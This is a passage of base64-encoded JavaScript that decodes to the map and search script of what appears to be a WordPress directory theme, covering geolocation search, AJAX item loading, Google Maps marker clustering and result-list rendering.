2l0aW9uID0gbWFwRGl2LmhlaWdodCgpIC8gMjsKCXNwaW5uZXJEaXYuY3NzKCd0b3AnLHRvcFBvc2l0aW9uKydweCcpLmZhZGVJbigpOwoJaWYgKGRpc2FibGVTdWJtaXQpIHsKCQlzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCB0cnVlKTsKCX0KfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CglzcGlubmVyRGl2LmZhZGVPdXQoKTsKCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIGZhbHNlKTsKfQoKLy8gc2V0IGludGVyYWN0aXZlIHNlYXJjaAppZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CglzZWFyY2hJbnB1dC50eXBlV2F0Y2goewoJCWNhbGxiYWNrOiBmdW5jdGlvbigpIHsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfSwKCQl3YWl0OiA1MDAsCgkJaGlnaGxpZ2h0OiBmYWxzZSwKCQljYXB0dXJlTGVuZ3RoOiAwCgl9KTsKCgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsdWkuaXRlbS52YWx1ZSxmYWxzZSk7Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSxmYWxzZSx1aS5pdGVtLnZhbHVlKTsKCX0pOwoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cn0KCiQoJyNkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MgLmljb24nKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykudG9nZ2xlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UnKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykuaGlkZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkIC52YWx1ZS1zbGlkZXInKS5zbGlkZXIoewoJdmFsdWU6IGdlb0lucHV0UmFkaXVzLnZhbCgpLAoJbWluOiAxLAoJbWF4OiAzMDAsCglzdGVwOiAxLAoJY2hhbmdlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyAmJiBnZW9JbnB1dC5pcygnOmNoZWNrZWQnKSl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0sCglzbGlkZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJZ2VvSW5wdXRSYWRpdXMudmFsKHVpLnZhbHVlKTsKCX0KfSk7CgovLyBHZW9sb2NhdGlvbgoKZ2VvSW5wdXQuRmFuY3lDaGVja2JveCgpOwoKZnVuY3Rpb24gZW5hYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIHRydWUpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvZmYnKS5hZGRDbGFzcygnb24nKTsKfQoKZnVuY3Rpb24gZGlzYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCBmYWxzZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwp9CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9CgpnZW9JbnB1dC5vbigiY2hhbmdlIixmdW5jdGlvbihldmVudCkgewoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7CgkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQl9LAoJCQkJZGF0YTogJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPjxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50Jyt0aHVtYkNvZGUrJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPjxkaXYgY2xhc3M9InRpdGxlIj4nK2RhdGFSYXdba2V5XS5wb3N0X3RpdGxlKyc8L2Rpdj4nK3JhdGluZysnPGRpdiBjbGFzcz0iYWRkcmVzcyI+JytkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsiYWRkcmVzcyJdKyc8L2Rpdj48YSBocmVmPSInK2RhdGFSYXdba2V5XS5saW5rKyciIGNsYXNzPSJtb3JlLWJ1dHRvbiI+VklFVyBNT1JFPC9hPjwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4nCgkJCX07CgkJCWkrKzsKCQl9CiAgICB9CgogICAgLy8gc2hvdyBnZW9sb2MgbWFya2VyCiAgICBpZihnZW9sb2MpewogICAgCW1hcERpdi5nbWFwMyh7CgkJCW1hcmtlcjogewogICAgCQkJbGF0TG5nOiBnZW9sb2MsCiAgICAJCQlvcHRpb25zOiB7CiAgICAJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKICAgIAkJCQl6SW5kZXg6IDEwMDAsCiAgICAJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKCQkJfQoJCX0KCX0pOwoJLy8gZ2VuZXJhdGUgYW5kIGF1dG9maXQgYnkgY2lyY2xlCgl2YXIgbWFwT2JqID0ge307Cgl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQocmFkaXVzKSAqIDEwMDA7CgkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJbWFwT2JqLmNpcmNsZSA9IHsKCQlvcHRpb25zOiB7CgkJCWNlbnRlcjogZ2VvbG9jLAoJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCXZpc2libGUgOiB0cnVlLAoJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQl9Cgl9CgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7Cn0KCnZhciBjb250ZW50RGl2ID0gJCgnI21haW4gI2NvbnRlbnQnKTsKdmFyIGN1cnJDb250ZW50ID0gY29udGVudERpdi5odG1sKCk7CnZhciBhamF4Q29udGVudDsKCmZ1bmN0aW9uIGdlbmVyYXRlQ29udGVudChkYXRhKSB7CgoJdmFyIGxlbmd0aCA9ICQubWFwKGRhdGEsIGZ1bmN0aW9uKG4sIGkpIHsgcmV0dXJuIGk7IH0pLmxlbmd0aDsKCgljb250ZW50RGl2LmZpbmQoJy5hamF4LWNvbnRlbnQnKS5yZW1vdmUoKTsKCXZhciB0aXRsZTsKCWlmKGxlbmd0aCA9PSAwKXsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9IGVsc2UgewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0KCgl2YXIgaHRtbDsKCWlmKGxlbmd0aCA+IDApewoJCWh0bWwgPSAkKCc8dWwgY2xhc3M9Iml0ZW1zIj48L3VsPicpOwoJfQoJdmFyIGxpbWl0ID0gMzA7CglpZihsaW1pdCA+IGxlbmd0aCkgewoJCWxpbWl0ID0gbGVuZ3RoOwoJfQoJdmFyIGkgPSAwOwoJZm9yKHZhciBrZXkgaW4gZGF0YSl7CgkJdmFyIHRodW1ibmFpbEh0bWw7CgkJaWYoZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCl7CgkJCXZhciB0aHVtYm5haWxIdG1sID0gJzxkaXYgY2xhc3M9InRodW1ibmFpbCI+PGltZyBzcmM9IicrZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCsnIiBhbHQ9Ikl0ZW0gdGh1bWJuYWlsIiAvPjxkaXYgY2xhc3M9ImNvbW1lbnQtY291bnQiPicrZGF0YVtrZXldLmNvbW1lbnRfY291bnQrJzwvZGl2PjwvZGl2Pic7CgkJfSBlbHNlIHsKCQkJdGh1bWJuYWlsSHRtbCA9ICcnOwoJCX0KCQl2YXIgcmF0aW5nID0gJyc7CgkJaWYoZGF0YVtrZXldLnJhdGluZyl7CgkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InJhdGluZyI+JzsKCQkJZm9yICh2YXIgaSA9IDE7IGkgPD0gZGF0YVtrZXldLnJhdGluZ1snbWF4J107IGkrKykgewoJCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0ic3Rhcic7CgkJCQlpZihpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCX0KCQkJCXJhdGluZyArPSAnIj48L3NwYW4+JzsKCQkJfQoJCQlyYXRpbmcgKz0gJzwvc3Bhbj4nOwoJCX0KCQl2YXIgZGVzY3JpcHRpb25IdG1sID0gJzxkaXYgY2xhc3M9ImRlc2NyaXB0aW9uIj4nK2RhdGFba2V5XS5leGNlcnB0RGlyKyc8L2Rpdj4nOwoJCWh0bWwuYXBwZW5kKCc8bGkgY2xhc3M9Iml0ZW0gY2xlYXIiPicrdGh1bWJuYWlsSHRtbCtkZXNjcmlwdGlvbkh0bWwrJzwvbGk+Jyk7CgkJaWYoaSA8PSBsaW1pdCl7CgkJCWkrKzsKCQl9IGVsc2UgewoJCQlicmVhazsKCQl9Cgl9OwoJYWpheENvbnRlbnQgPSAkKCc8ZGl2IGNsYXNzPSJhamF4LWNvbnRlbnQiPjwvZGl2PicpLmh0bWwodGl0bGUpLmFwcGVuZChodG1sKTsKCWNvbnRlbnREaXYuZmluZCgnPicpLmhpZGUoKTsKCWNvbnRlbnREaXYuYXBwZW5kKGFqYXhDb250ZW50KTsKfQoKLy8gcmVzZXQgc2VhcmNoIGFqYXggdmFsdWVzCiQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4JykuY2xpY2soZnVuY3Rpb24gKCkgewoKCS8vIGdldCBkZWZhdWx0IHZhbHVlcwoJYWpheEdldE1hcmtlcnMoZmFsc2UsZmFsc2UsZmFsc2UsZmFsc2UsdHJ1ZSk7CgoKCSQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgiIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC10ZXh0IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkgbGFiZW